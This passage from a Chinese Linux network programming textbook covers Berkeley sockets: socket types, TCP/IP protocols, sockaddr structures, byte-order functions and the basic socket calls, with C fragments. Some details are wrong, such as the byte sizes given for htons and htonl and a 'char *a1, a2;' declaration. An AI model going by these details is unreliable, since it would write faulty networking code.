{协议,本地地址,本地端口,远程地址,远程端口} 每一个 Socket 有一个本地的唯一 Socket 号,由操作系统分配。 最重要的是,Socket 是面向客户-服务器模型而设计的,针对客户和服务器程序提供 不同的 Socket 系统调用。客户随机申请一个 Socket 号(相当于一个想打电话的人可以在 - 138 - Linux网络编程 任何一台入网的电话上拨叫呼叫);服务器拥有全局公认的 Socket,任何客户都可以向它 发出连接请求和信息请求(相当于一个被呼叫的电话拥有一个呼叫方知道的电话号码)。 Socket 利用客户—服务器模式巧妙的解决了进程之间建立通信连接的问题。服务器 Socket 为全局所公认非常重要。两个完全随机的用户进程之间,因为没有任何一方的 Socket 是固定的,就像打电话却不知道别人的电话号码,要通话是不可能的。 6.2.3 套接字的三种类型 套接字有三种类型:流式套接字(SOCK_STREAM),数据报套接字(SOCK_DGRAM) 及原始套接字。 1.流式套接字(SOCK_STREAM) 流式的套接字可以提供可靠的、面向连接的通讯流。如果你通过流式套接字发送了顺 序的数据:“ 1”、“ 2”。那么数据到达远程时候的顺序也是“ 1”、“ 2”。 流式套接字可以做什么呢?你听说过 Telnet 应用程序吗?听过?哦,最常用的 BBS 服 务,以及系统的远程登陆都是通过 Telnet 协议连接的。Telnet 就是一个流式连接。你是否 希望你在 Telnet 应用程序上输入的字符(或汉字)在到达远程应用程序的时候是以你输入 的顺序到达的?答案应该是肯定的吧。还有 WWW 浏览器,它使用的 HTTP 协议也是通过 流式套接字来获取网页的。事实上,如果你 Telnet 到一个 Web Site 的 80 端口上,然后输 入 “ GET 网页路径名” 然后按两下回车(或者是两下 Ctrl+回车)然后你就得到了“ 网页 路径名” 所代表的网页! 流式套接字是怎样保证这种应用层次上的数据传输质量呢?它使用了 TCP(The Transmission Control Protocol)协议(可以参考 RFC-793 来得到 TCP 的细节)。TCP 保证 了你的数据传输是正确的,并且是顺序的。TCP 是经常出现的 TCP/IP 中的前半部分。IP 代表 Internet Protocol(因特网协议,参考 RFC-791)IP 只处理网络路由。 第 6 章 berkeley 套接字 - 139 - 图 6-2 面向连接的 socket 的工作流程 2.数据报套接字(SOCK_DGRAM) 数据报套接字定义了一种无连接的服务,数据通过相互独立的报文进行传输,是无序 的,并且不保证可靠,无差错。原始套接字允许对低层协议如 IP 或 ICMP 直接访问,主要 用于新的网络协议实现的测试等。 数据报套接字(Datagram Sockets)怎样呢?为什么它叫做“ 无连接” ?应该怎样处理 它们呢?为什么它们是不可靠的?好的,这里有一些事实: 如果你发送了一个数据报,它可能不会到达。 它可能会以不同的顺序到达。 如果它到达了,它包含的数据中可能存在错误。 数据报套接字也使用 IP,但是它不使用 TCP,它使用使用者数据报协议 UDP(User Datagram Protocol 可以参考 RFC 768) 为什么说它们是“ 无连接” 的呢?因为它(UDP)不像流式套接字那样维护一个打开 - 140 - Linux网络编程 的连接,你只需要把数据打成一个包,把远程的 IP 贴上去,然后把这个包发送出去。这个 过程是不需要建立连接的。UDP 的应用例子有: tftp, bootp 等。 那么,数据包既然会丢失,怎样能保证程序能够正常工作呢?事实上,每个使用 UDP 的程序都要有自己的对数据进行确认的协议。比如, TFTP 协议定义了对于每一个发送出 去的数据包,远程在接受到之后都要回送一个数据包告诉本地程序:“ 我已经拿到了!”(一 个 “ ACK” 包)。如果数据包发的送者在 5 秒内没有的得到回应,它就会重新发送这个 数据包直到数据包接受者回送了 “ ACK” 信号。这些知识对编写一个使用 UDP 协议的 程序员来说是非常必要的。 无连接服务器一般都是面向事务处理的,一个请求一个应答就完成了客户程序与服务 程序之间的相互作用。若使用无连接的套接字编程,程序的流程可以用图 6-3 表示。 图 6-3 无连接的 socket 工作流程 面向连接服务器处理的请求往往比较复杂,不是一来一去的请求应答所能解决的,而 且往往是并发服务器。使用面向连接的套接字编程,可以通过图 6-2 来表示。 套接字工作过程如下:服务器首先启动,通过调用 socket()建立一个套接字,然后调用 bind()将该套接字和本地网络地址联系在一起,再调用 listen()使套接字做好侦听的准备, 并规定它的请求队列的长度,之后就调用 accept()来接收连接。客户在建立套接字后就可调 用 connect()和服务器建立连接。连接一旦建立,客户机和服务器之间就可以通过调用 read() 和 write()来发送和接收数据。最后,待数据传送结束后,双方调用 close()关闭套接字。 3.原始套接字 原始套接字主要用于一些协议的开发,可以进行比较底层的操作。它功能强大,但是 没有上面介绍的两种套接字使用方便,一般的程序也涉及不到原始套接字。 第 6 章 berkeley 套接字 - 141 - 6.3 Li nux 支配的网络协议 网络协议是系统进行系统与系统间通讯的的接口。在 Linux 系统上, TCP/IP (Transmission Control / Internet Protocol)是最常见的。 TCP/IP 是一个网络协议协议族, 我们将在下面进行详细介绍。 6.3.1 什么是 TCP/I P? 用简单的话来讲, TCP/IP 是一个网络协议族的名字,协议是所有软件产品必须遵守 的、能够保证各种软件产品能够正确通讯的规则。协议还定义了每一部分数据块怎样管理 所传输的数据。 精确一点说,一个协议定义了两个应用程序或是计算机之间能够进行互相通讯,对于 其中的每一个(应用程序或计算机)都保证使用同样的标准。TCP/IP 代表传输控制协议/ 网络协议(注意:它们是两个不同的协议!),它是做为软件的网络组成部件而设计的。每 个 TCP/IP 的协议都有他专门的工作,比如万维网(WWW),发送电子邮件(E-mail),传 输文件(Ftp),提供远程登陆服务等。 TCP/IP 协议可以根据提供的不同的服务分为几组: 1.控制数据的协议 TCP(传输控制协议 Transmission Control Protocol)以连接为基础,也就是说两台电脑 必须先建立一个连接,然后才能传输数据。事实上,发送和接受的电脑必须一直互相通讯 和联系。 UDP(使用者数据报协议 User Datagram Protocol)它是一个无连接服务,数据可以直 接发送而不必在两台电脑之间建立一个网络连接。它和有连接的 TCP 相比,占用带宽少, 但是你不知道你的数据是否真正到达了你的客户端,而客户端收到的数据也不知道是否还 是原来的发送顺序。 2.数据路由协议 路由协议分析数据包的地址并且决定传输数据到目的电脑最佳路线。他们也可以把大 的数据分成几部分,并且在目的地再把他们组合起来。 IP(因特网协议 Internet Protocol)处理实际上传输数据。 ICMP(因特网控制信息协议 Internet Control Message Protocol)处理 IP 的状态信息, 比如能影响路由决策的数据错误或改变。 RIP(路由信息协议 Routing Information Protocol)它是几个决定信息传输的最佳路由 路线协议中的一个。 OSPF(Open Shortest Path First)一个用来决定路由的协议。网络地址协议决定了命名 电脑地址的方法:使用一个唯一的数字和一个字母名字。 ARP(地址决定协议 Address Resolution Protocol)确定网络上一台电脑的数字地址。 DNS(域名系统 Domain Name System)从机器的名字确定一个机器的数字地址。 RARP(反向地址决定协议 Reverse Address Resolution Protocol)确定网络上一台计算 机的地址,和 ARP(地址决定协议 Address Resolution Protocol)正好相反。 3.用户服务 BOOTP(启动协议 Boot Protocol) 由网络服务器上取得启动信息,然后将本地的网 - 142 - Linux网络编程 络计算机启动。 FTP(文件传输协议 File Transfer Protocol)通过国际互连网从一台计算机上传输一个 或多个文件到另外一台计算机。 TELNET(远程登陆)允许一个远程登陆,使用者可以从网络上的一台机器通过 TELNET 连线到另一台机器,就像使用者直接在本地操作一样。 EGP(外部网关协议 Exterior Gateway Protocol)为外部网络传输路由信息。 GGP(网关到网关协议 Gateway-to-Gateway Protocol)在网关和网关之间传输路由协 议。 IGP(内部网关协议 Interior Gateway Protocol)在内部网络传输路由信息。 3.其他协议( 也为网络提供了重要的服务) NFS(网络文件系统 Network File System)允许将一台机器的目录被另一台机器上的 用户 安装(Mount)到自己的机器上,就像是对本地文件系统进行操作一样进行各式各样 的操作。 NIS(网络信息服务 Network Information Service)对整个网络用户的用户名、密码进 行统一管理,简化在 NIS 服务下整个网络登陆的用户名/密码检查。 RPC(远程过程调用 Remote Procedure Call)通过它可以允许远程的应用程序通过简 单的、有效的手段联系本地的应用程序,反之也是。 SMTP(简单邮件传输协议 Simple Mail Transfer Protocol)一个专门为电子邮件在多台 机器中传输的协议,平时发邮件的 SMTP 服务器提供的必然服务。 SNMP(简单网络管理协议 Simple Network Management Protocol)这是一项为超级用 户准备的服务,超级用户可以通过它来进行简单的网络管理。 6.4 套接字地址 好了,关于 socket 的背景知识我们已经讲得够多了,下面,就让我们正式开始揭开 socket 的神秘面纱吧! 6.4.1 什么是 Socket ? 大家经常谈论 “ Socket”(套接字),那么一个套接字究竟是什么呢? 一个套接字可以这样来解释:它是通过标准的 UNIX 文件描述符和其他的程序通讯的 一个方法。 6.4.2 Socket 描述符 使用 UNIX 的黑客高手有这么一句话:“ 恩,在 UNIX 系统中,任何东西都是一个文 件。” 这句话描述了这样一个事实:在 UNIX 系统中,任何对 I/O 的操作,都是通过读或写 一个文件描述符来实现的。 一个文件描述符只是一个简单的整形数值,代表一个被打开的文件(这里的文件是广 义的文件,并不只代表不同的磁盘文件,它可以代表一个网络上的连接,一个先进先出队 列,一个终端显示屏幕,以及其他的一切)。在 UNIX 系统中任何东西都是一个文件!!所 以如果你想通过 Internet 和另外一个程序通讯的话,你将会是通过一个文件来描述符实现 的。你最好相信这一点。 第 6 章 berkeley 套接字 - 143 - 好的,你已经相信 Socket 是一个文件描述符了,那么我们应该怎样才能得到这个代表 网络连接的文件描述符呢?你现在一定非常在意这个问题。是这样的:你首先调用系统函 数 socket(),它返回一个套接字(Socket)描述符,然后你就可以通过对这个套接字描述符 进行一些操作:系统函数 send() 和 recv()(你可以使用 “ man” 命令来查找系统帮助:man send, man recv)。 你会想:“ 套接字描述符是一个文件描述符,为什么不能用对文件操作的 write() 和 read() 来进行套接字通讯呢?” 事实上, write() 和 read() 是可以对套接字描述符进行操 作的,但是,通过使用 send() 和 recv() 函数,你可以对网络数据的传输进行更好的控制! 6.4.3 一个套接字是怎样在网络上传输数据的? 我们已经谈过了网络协议层,那么我们还应该继续多了解一些东西:物理网络上的数 据是怎样传送的。 我们可以认为是这样的: 数据被分成一个一个的包(Packet),包的数据头(或数据尾)被第一层协议(比如 TFTP 协议) 加上第一层协议数据;然后整个包(包括内部加入的 TFTP 信息头)被下层协议再 次包装(比如 UDP),再这之后数据包会再次被下层协议包装(比如 IP 协议),最后是被 最底层的硬件层(物理层)包装上最后一层信息(Ethernet 信息头)。 当接受端的计算机接收到这个包后,硬件首先剥去数据包中的 Ethernet 信息头,然后 内核在剥去 IP 和 UDP 信息头,最后把数据包提交给 TFTP 应用程序,由 TFTP 剥去 TFTP 信息头,最后得到了原始数据。 下面我们再大致回顾一下著名的网络层次模型。 通过这个网络模型,你可以写套接字的应用程序而不必在乎事实上数据在物理层中的 传输方法(无论是以太网,还是并口、AUI 或是其他的什么方法)。 因为已经有程序在底层为你处理了这些问题了。下面是 OSI 模型,你可以记住它来应 付一些测验。 应用层 表示层 会话层 传输层 网络层 数据链路层 物理层 物理层就是硬件层(比如并口,以太网)。应用程序层离物理层很远很远,以至于它 可以不受物理层的影响。 上面这个模型是最一般的模型,但是在 Linux 中,真正用到的模型是下面这样子的: 应用层(Telnet,Ftp,等等) 主机间对话层(TCP 和 UDP) 网络层(IP 和路由) 网络底层(相当于 OSI 模型中网络、数据链路和物理层) 现在,你大概已经明白各个协议层是怎样对原始数据进行包装和解包的了吧。看见对 - 144 - Linux网络编程 于每一个数据包有多少项工作需要做了吗?对!你对每一个数据包都需要自己用“ cat” 命 令来查看协议信息头! 开个玩笑。对流式套接字你所需要做的只是调用 send() 函数来发送数据。而对于数据 报套接字,你需要自己加个信息头,然后调用 sendto() 函数把数据发送出去。Linux 系统 内核中已经建立了 Transport Layer 和 Internet Layer。硬件负责 NetworkAccess Layer。简单 而有效,不是吗? 6.5 套接字的一些基本知识 好的,从现在开始,我们应该谈些和程序有关的事情了。 6.5.1 基本结构 首先,我想介绍一些使用套接字编程中常见的网络数据结构对大家会很有帮助。 1.st ruct sockaddr 这个结构用来存储套接字地址。 数据定义: struct sockaddr { unsigned short sa_family; /* address族, AF_xxx */ char sa_data[14]; /* 14 bytes的协议地址 */ }; sa_family 一般来说,都是 “ AFINET”。 sa_data 包含了一些远程电脑的地址、端口和套接字的数目,它里面的数据是杂溶在一 切的。 为了处理 struct sockaddr, 程序员建立了另外一个相似的结构 struct sockaddr_in: struct sockaddr_in (“ in” 代表 “ Internet” ) struct sockaddr_in { short int sin_family; /* Internet地址族 */ unsigned short int sin_port; /* 端口号 */ struct in_addr sin_addr; /* Internet地址 */ unsigned char sin_zero[8]; /* 添0(和struct sockaddr一样大小)*/ }; 这个结构提供了方便的手段来访问 socket address(struct sockaddr)结构中的每一个元 素。注意 sin_zero[8] 是为了是两个结构在内存中具有相同的尺寸,使用 sockaddr_in 的时 候要把 sin_zero 全部设成零值(使用 bzero()或 memset()函数)。而且,有一点很重要,就 是一个指向 struct sockaddr_in 的指针可以声明指向一个 sturct sockaddr 的结构。所以虽然 socket() 函数需要一个 structaddr * ,你也可以给他一个 sockaddr_in * 。注意在 struct sockaddr_in 中,sin_family 相当于 在 struct sockaddr 中的 sa_family,需要设成 “ AF_INET”。 最后一定要保证 sin_port 和 sin_addr 必须是网络字节顺序(见下节)! 2.st ruct i n_addr 其定义如下: /* 因特网地址 (a structure for historical reasons) */ 第 6 章 berkeley 套接字 - 145 - struct in_addr { unsigned long s_addr; }; 如 果 你 声 明 了 一 个 “ ina ” 作 为 一 个 struct sockaddr_in 的 结 构 , 那 么 “ ina.sin_addr.s_addr” 就是 4 个字节的 IP 地址(按网络字节顺序排放)。需要注意的是, 即使你的系统仍然使用联合而不是结构来表示 struct in_addr,你仍然可以用上面的方法得 到 4 个字节的 IP 地址(一些 #defines 帮了你的忙)。 6.5.2 基本转换函数 在前面提到了网络字节顺序。那么什么是网络字节顺序,它有什么特殊性,又如何将 我们通常使用的数据转换成这种格式呢? 1.网络字节顺序 因为每一个机器内部对变量的字节存储顺序不同(有的系统是高位在前,底位在后, 而有的系统是底位在前,高位在后),而网络传输的数据大家是一定要统一顺序的。所以 对与内部字节表示顺序和网络字节顺序不同的机器,就一定要对数据进行转换(比如 IP 地 址的表示,端口号的表示)。但是内部字节顺序和网络字节顺序相同的机器该怎么办呢? 是这样的:它们也要调用转换函数,但是真正转换还是不转换是由系统函数自己来决定的。 2.有关的转化函数 我们通常使用的有两种数据类型:短型(两个字节)和长型(四个字节)。下面介绍 的这些转换函数对于这两类的无符号整型变量都可以进行正确的转换。 如果你想将一个短型数据从主机字节顺序转换到网络字节顺序的话,有这样一个函 数:它是以“ h” 开头的(代表“ 主机”);紧跟着它的是“ to”,代表“ 转换到”;然后是“ n” 代表“ 网络”;最后是“ s”,代表“ 短型数据”。H-to-n-s,就是 htons() 函数(可以使用 Host to Network Short 来助记) 很简单吧⋯ ⋯ 我没有理解的时候觉得这个函数不好记呢⋯ ⋯ 你可以使用 “ n”,“ h” ,“ to”,“ s”,“ l” 的任意组合⋯ ⋯ 当然,你要在可能的情况下 进行组合。比如,系统是没有 stolh() 函数的(Short to Long Host?)。 下面给出套接字字节转换程序的列表: htons()——“ Host to Network Short” 主机字节顺序转换为网络字节顺序(对无符号 短型进行操作 4 bytes) htonl()——“ Host to Network Long” 主机字节顺序转换为网络字节顺序(对无符 号长型进行操作 8 bytes) ntohs()——“Network to Host Short “ 网络字节顺序转换为主机字节顺序(对无符 号短型进行操作 4 bytes) ntohl()——“Network to Host Long “ 网络字节顺序转换为主机字节顺序(对无符 号长型进行操作 8 bytes) 注意:现在你可能认为自己已经精通于这几个函数的用处了⋯ ⋯ 你可能会想:“ 恩⋯ ⋯ 在我的 68000 机器内部,字节的表示顺序已经是网络字节顺序了,那么我的程序里就不必调用 htonl() 来转换我的 IP 地 址了”。是的,你可能是对的。但是假如你把你的程序移植到一个内部字节顺序和网络字节顺序相反的机 器上,你的程序就会运行不正常!所以,一定要记住:在你把数据发送到 Internet 之前,一定要把它的字 - 146 - Linux网络编程 节顺序从主机字节顺序转换到网络字节顺序! 在 struct sockaddr_in 中的 sin_addr 和 sin_port 他们的字节顺序都是网络字节顺序,而 sin_family 却不是网络字节顺序的。为什么呢? 这个是因为 sin_addr 和 sin_port 是从 IP 和 UDP 协议层取出来的数据,而在 IP 和 UDP 协议层,是直接和网络相关的,所以,它们必须使用网络字节顺序。然而, sin_family 域 只是内核用来判断 struct sockaddr_in 是存储的什么类型的数据,并且, sin_family 永远也 不会被发送到网络上,所以可以使用主机字节顺序来存储。 3.I P 地址转换 很幸运, Linux 系统提供和很多用于转换 IP 地址的函数,使你不必自己再写出一段 费力不讨好的子程序来吃力的变换 IP。 首先,让我假设你有一个 struct sockaddr_in ina,并且你的 IP 是 166.111.69.52 ,你想 把你的 IP 存储到 ina 中。你可以使用的函数: inet_addr() ,它能够把一个用数字和点表 示 IP 地址的字符串转换成一个无符号长整型。你可以像下面这样使用它: ina.sin_addr.s_addr = inet_addr(“166.111.69.52”); 注意: inet_addr() 返回的地址已经是网络字节顺序了,你没有必要再去调用 htonl() 函数,是不是很 方便呢? 上面的用法并不是一个很好的习惯,因为上面的代码没有进行错误检查。如果 inet_addr() 函数 执行错误,它将会返回 –1⋯ ⋯ 等等!二进制的无符号整数值 –1 相当于什么?相当于 255.255.255.255 !! 一 个广播用的 IP 地址!没有办法,你只能在你自己的程序里进行对症下药的错误检查了。 好,现在我们已经可以把字符串的 IP 地址转换成长整型了。那么还有没有其他的方法 呢?如果你有一个 struct in_addr 并且你想把它代表的 IP 地址打印出来(按照 数字.数字.数 字.数字的格式)⋯ ⋯ 这里,你可以使用函数 inet_ntoa()(“ ntoa” 代表“ Network to ASCII”): printf(“%s”, inet_ntoa(ina.sin_addr)); 这段代码将会把 struct in_addr 里面存储的网络地址以 数字.数字.数字.数字 的格式显 示出来。 注意: inet_ntoa() 使用 struct in_addr 作为一个参数,不是一个长整型值。 inet_ntoa() 返回一个字符指针,它指向一个定义在函数 inet_ntoa() 中的 static 类型字符串。所 以每次你调用 inet_ntoa(),都会改变最后一次调用 inet_ntoa() 函数时得到的结果。 比如: char *a1, a2; a1 = inet_ntoa(ina1.sin_addr); /* this is 166.111.69.52 */ a2 = inet_ntoa(ina2.sin_addr); /* this is 166.111.69.53 */ printf(“ address 1: %s\n”,a1); printf(“ address 2: %s\n”,a2); 将会显示出: address 1: 166.111.69.53 address 2: 166.111.69.53 第 6 章 berkeley 套接字 - 147 - 如果你想把结果保存下来,那么你可以在每次调用 inet_ntoa() 后调用 strcpy() 将结果存到另外 一个你自己的字符串中。 在后面,将会介绍怎样把域名转换为 IP。 6.6 基本套接字调用 Linux 支持伯克利(BSD)风格的套接字编程.它同时支持面向连接和不连接类型的 套接字。 在面向连接的通讯中服务器和客户机在交换数据之前先要建立一个连接.再不连接通 讯中数据被作为信息的一部分被交换.无论那一种方式,服务器总是最先启动,把自己绑 定(Banding)在一个套接字上,然后侦听信息.服务器究竟怎样试图去侦听就得依靠你编 程所设定的连接的类型了。 你需要了解的一些系统调用: socket() bind() connect() listen() accept() send() recv() sendto() recvfrom() close() shutdown() setsockopt() getsockopt() getpeername() getsockname() gethostbyname() gethostbyaddr() getprotobyname() fcntl() 我们将在以下详细介绍这些系统调用。 6.6.1 socket ( ) 函数 取得套接字描述符!(记得我们以前说过的吗?它其实就是一个文件描述符) socket 函数的定义是下面这样子的: #include <sys/types.h> #include <sys/socket.h> int socket(int domain , int type , int protocol); - 148 - Linux网络编程 你是否对 int domain 和 int type、int protocol 有些疑惑呢?调用 socket()的参数是什么 呢? 首先,domain 需要被设置为 “ AF_INET”,就像上面的 struct sockaddr_in。然后,type 参数告诉内核这个 socket 是什么类型,“ SOCK_STREAM” 或是“ SOCK_DGRAM”。最后, 只需要把 protocol 设置为 0 。 注意:事实上, domain 参数可以取除了“ AF_INET ” 外的很多值,types 参数也可以取除了 “ SOCK_STREAM” 或“ SOCK_DGRAM” 的另外类型。具体可以参考 socket 的 man pages(帮助页)。 套接字创建时没有指定名字.客户机用套接字的名字读写它。这就是下面的绑定函数 所要做之事. socket()函数只是简单的返回一个你以后可以使用的套接字描述符。如果发生错误, socket()函数返回 –1 。全局变量 errno 将被设置为错误代码。(可以参考 perror() 的 man pages) 6.6.2 bi nd( ) 函数 bind()函数可以帮助你指定一个套接字使用的端口。 当你使用 socket() 函数得到一个套接字描述符,你也许需要将 socket 绑定上一个你的 机器上的端口。 当你需要进行端口监听 listen()操作,等待接受一个连入请求的时候,一般都需要 经过这一步。比如网络泥巴(MUD),Telnet a.b.c.d 4000。 如果你只是想进行连接一台服务器,也就是进行 connect() 操作的时候,这一步 并不是必须的。 bind()的系统调用声明如下: #include <sys/types.h> #include <sys/socket.h> int bind (int sockfd , struct sockaddr *my_addr , int addrlen) ; 参数说明: sockfd 是由 socket()函数返回的套接字描述符。 my_addr 是一个指向 struct sockaddr 的指针,包含有关你的地址的信息:名称、 端口和 IP 地址。 addrlen 可以设置为 sizeof(struct sockaddr)。 好,下面我们看一段程序: #include <string.h> #include <sys/types.h> #include <sys/socket.h> #define MYPORT 4000 main() { int sockfd ; 第 6 章 berkeley 套接字 - 149 - struct sockaddr_in my_addr ; sockfd = socket(AF_INET, SOCK_STREAM, 0); /* 在你自己的程序中 */ /* 要进行错误检查!! */ my_addr.sin_family = AF_INET ; /* 主机字节顺序 */ my_addr.sin_port = htons(MYPORT); /* 网络字节顺序,短整型 */ my_addr.sin_addr.s_addr = inet_addr(“166.111.69.52”) ; bzero(&(my_addr.sin_zero), 8); /* 将整个结构剩余*/ /* 部分数据设为 0 */ /* 不要忘记在你自己的程序中加入判断 bind 错误的代码!! */ bind (sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)); ⋯ ⋯ ⋯ ⋯ 这里有一些值得注意的代码段: my_addr.sin_port 是网络字节顺序。 my_addr.sin_addr.s_addr 也是网络字节顺序。 代码段包含的头文件,在不同的系统中可能有一点小小的区别。(不过在 Linux 中是如此)如果并非如此,你可以查一查 man pages 来获取帮助。 最后,bind()可以在程序中自动获取你自己的 IP 地址和端口。 代码如下: my_addr.sin_port = 0 ; /* 随机选择一个端口 */ my_addr.sin_addr.s_addr = INADDR_ANY ; /* 使用自己的地址 */ 如上,通过设置 my_addr.sin_port 为 0,bind()可以知道你要它帮你选择合适的端口; 通过设置 my_addr.sin_addr.s_addr 为 INADDR_ANY,bind()知道你要它将 s_addr 填充为运 行这个进程的机器的 IP。这一切都可以要求 bind()来自动的帮助你完成。 如果你注意到了一些细节的话,你可能会发现我并没有将 INADDR_ANY 转换为网络 字节顺序!是这样的,INADDR_ANY 的值为 0,0 就是 0,无论用什么顺序排列位的顺序, 它都是不变的。 有读者会想了,因为我用的 INADDR_ANY 是一个#define,那么如果将我的程序移植 到另外一个系统,假如那里的 INADDR_ANY是这样定义的:#define INADDR_ANY 100, 那么我的程序不是就会不运行了吗?那么下面这段代码就 OK 了 my_addr.sin_port = htons(0); /* 随机选择一个未用的端口 */ my_addr.sin_addr.s_addr = htonl(INADDR_ANY) ; /* 使用自己的IP地址 */ 现在我们已经是这么的严谨,对于任何数值的 INADDR_ANY调用 bind 的时候就都不 会有麻烦了。 当 bind()函数调用错误的时候,它也是返回–1 作为错误发生的标志。errn 的值为错误 代码。 另外一件必须指出的事情是:当你调用 bind()的时候,不要把端口数设置的过小!小 于 1024 的所有端口都是保留下来作为系统使用端口的,没有 root 权利无法使用。你可以 使用 1024 以上的任何端口,一直到 65535 :你所可能使用的最大的端口号(当然,你还 - 150 - Linux网络编程 要保证你所希望使用的端口没有被其他程序所使用)。 最后注意有关 bind()的是:有时候你并不一定要调用 bind()来建立网络连接。比如你只 是想连接到一个远程主机上面进行通讯,你并不在乎你究竟是用的自己机器上的哪个端口 进行通讯(比如 Telnet),那么你可以简单的直接调用 connect()函数,connect()将自动寻找 出本地机器上的一个未使用的端口,然后调用 bind()来将其 socket 绑定到那个端口上。 6.6.3 connect ( ) 函数 让我们花一点时间来假设你是一个 Telnet 应用程序。你的使用者命令你建立一个套接 字描述符。你遵从命令,调用了 socket()。然后,使用者告诉你连接到 “ 166.111.69.52” 的 23 端口(标准的 Telnet 端口)⋯ ⋯ 你应该怎么做呢? 你很幸运:Telnet 应用程序,你现在正在阅读的就是套接字的进行网络连接部分: connect()。 connect() 函数的定义是这样的: #include <sys/types.h> #include <sys/socket.h> int connect (int sockfd, struct sockaddr *serv_addr, int addrlen); connect()的三个参数意义如下: sockfd :套接字文件描述符,由 socket()函数返回的。 serv_addr 是一个存储远程计算机的 IP 地址和端口信息的结构。 addrlen 应该是 sizeof(struct sockaddr)。 下面让我们来看看下面的程序片段: #include <string.h> #include <sys/types.h> #include <sys/socket.h> #define DEST_IP “166.111.69.52” #define DEST_PORT 23 main() { int sockfd ; /* 将用来存储远程信息 */ struct sockaddr_in dest_addr ; /* 注意在你自己的程序中进行错误检查!! */ sockfd = socket(AF_INET, SOCK_STREAM, 0); /* 主机字节顺序 */ dest_addr.sin_family = AF_INET ; /* 网络字节顺序,短整型 */ dest_addr.sin_port = htons(DEST_PORT); 第 6 章 berkeley 套接字 - 151 - dest_addr.sin_addr.s_addr = inet_addr(DEST_IP); /* 将剩下的结构中的空间置 0 */ bzero(&(dest_addr.sin_zero), 8); /* 不要忘记在你的代码中对 connect()进行错误检查!! */ connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)); ⋯ ⋯ ⋯ ⋯ 再次强调,一定要检测 connect()的返回值:如果发生了错误(比如无法连接到远程主 机,或是远程主机的指定端口无法进行连接等)它将会返回错误值 –1 。 全局变量 errno 将会存储错误代码。 另外,注意我们没有调用 bind()函数。基本上,我们并不在乎我们本地用什么端口来 通讯,是不是?我们在乎的是我们连到哪台主机上的哪个端口上。Linux 内核自动为我们 选择了一个没有被使用的本地端口。 在面向连接的协议的程序中,服务器执行以下函数: 调用 socket()函数创建一个套接字。 调用 bind()函数把自己绑定在一个地址上。 调用 listen()函数侦听连接。 调用 accept()函数接受所有引入的请求。 调用 recv()函数获取引入的信息然后调用 send()回答。 6.6.4 l i st en( ) 函数 listen()函数是等待别人连接,进行系统侦听请求的函数。当有人连接你的时候,你有 两步需要做:通过 listen()函数等待连接请求,然后使用 accept()函数来处理。(accept()函数 在下面介绍)。 listen()函数调用是非常简单的。函数声明如下: #include <sys/socket.h> int listen(int sockfd, int backlog); listen()函数的参数意义如下: sockfd 是一个套接字描述符,由 socket()系统调用获得。 backlog 是未经过处理的连接请求队列可以容纳的最大数目。 backlog 具体一些是什么意思呢?每一个连入请求都要进入一个连入请求队列,等待 listen 的程序调用 accept()(accept()函数下面有介绍)函数来接受这个连接。当系统还没有 调用 accept()函数的时候,如果有很多连接,那么本地能够等待的最大数目就是 backlog 的 数值。你可以将其设成 5 到 10 之间的数值(推荐)。 像上面的所有函数一样, listen()如果返回 –1 ,那么说明在 listen()的执行过程中发生 了错误。全局变量 errno 中存储了错误代码。 那么我们需要指定本地端口了,因为我们是等待别人的连接。所以,在 listen()函数调 用之前,我们需要使用 bind() 函数来指定使用本地的哪一个端口数值。 - 152 - Linux网络编程 如果你想在一个端口上接受外来的连接请求的话,那么函数的调用顺序为: socket() ; bind() ; listen() ; /* 在这里调用 accept()函数 */ ⋯ ⋯ 下面将不给出例程,因为 listen()是非常容易理解的。下面的 accept()函数说明中的例 程中,有 listen()的使用。 6.6.5 accept ( ) 函数 函数 accept()有一些难懂。当调用它的时候,大致过程是下面这样的: 有人从很远很远的地方尝试调用 connect()来连接你的机器上的某个端口(当然是 你已经在 listen()的)。 他的连接将被 listen 加入等待队列等待 accept()函数的调用(加入等待队列的最多 数目由调用 listen()函数的第二个参数 backlog 来决定)。 你调用 accept()函数,告诉他你准备连接。 accept()函数将回返回一个新的套接字描述符,这个描述符就代表了这个连接! 好,这时候你有了两个套接字描述符,返回给你的那个就是和远程计算机的连接,而 第一个套接字描述符仍然在你的机器上原来的那个端口上 listen()。 这时候你所得到的那个新的套接字描述符就可以进行 send()操作和 recv()操作了。 下面是 accept()函数的声明: #include <sys/socket.h> int accept(int sockfd, void *addr, int *addrlen); accept()函数的参数意义如下: sockfd 是正在 listen() 的一个套接字描述符。 addr 一般是一个指向 struct sockaddr_in 结构的指针;里面存储着远程连接过来的 计算机的信息(比如远程计算机的 IP 地址和端口)。 addrlen 是一个本地的整型数值,在它的地址传给 accept() 前它的值应该是 sizeof(struct sockaddr_in);accept()不会在 addr 中存储多余 addrlen bytes 大小的数据。如果 accept()函数在 addr 中存储的数据量不足 addrlen,则 accept()函数会改变 addrlen 的值来反 应这个情况。 读者现在应该想到:如果调用 accept()失败的话,accept()函数会返回 –1 来表明调用 失败,同时全局变量 errno 将会存储错误代码。 下面我们来看一段程序片段: #include <string.h> #include <sys/types.h> #include <sys/socket.h> /* 用户连接的端口号 */ 第 6 章 berkeley 套接字 - 153 - #define MYPORT 4000 /* 等待队列中可以存储多少个未经过 accept()处理的连接 */ #define BACKLOG 10 main() { /* 用来监听网络连接的套接字 sock_fd,用户连入的套接字使用 new_fd */ int sockfd, new_fd ; /* 本地的地址信息 */ struct sockaddr_in my_addr ; /* 连接者的地址信息 */ struct sockaddr_in their_addr ; int sin_size; /* 记得在自己的程序中这部分要进行错误检查! */ sockfd = socket(AF_INET, SOCK_STREAM, 0) ; /* 主机字节顺序 */ my_addr.sin_family = AF_INET ; /* 网络字节顺序,短整型 */ my_addr.sin_port = htons(MYPORT) ; /* 自动赋值为自己的 IP */ my_addr.sin_addr.s_addr = INADDR_ANY ; /* 将结构中未使用部分全部清零 */ bzero(&(my_addr.sin_zero), 8) ; /* 不要忘记在你自己的程序中下面的程序调用需要进行错误检测!!*/ bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)); listen(sockfd, BACKLOG); sin_size = sizeof(struct sockaddr_in); new_fd = accept(sockfd, &their_addr, &sin_size); ⋯ ⋯ ⋯ ⋯ 注意:我们使用了套接字描述符 new_fd 用来进行所有的 send() 和 recv()调用。如果你 只想获得一个单独的连接,那么你可以将原来的 sock_fd 关掉(调用 close()),这样的话就 可以阻止以后的连接了。 在面向连接的通信中客户机要做如下一些事: - 154 - 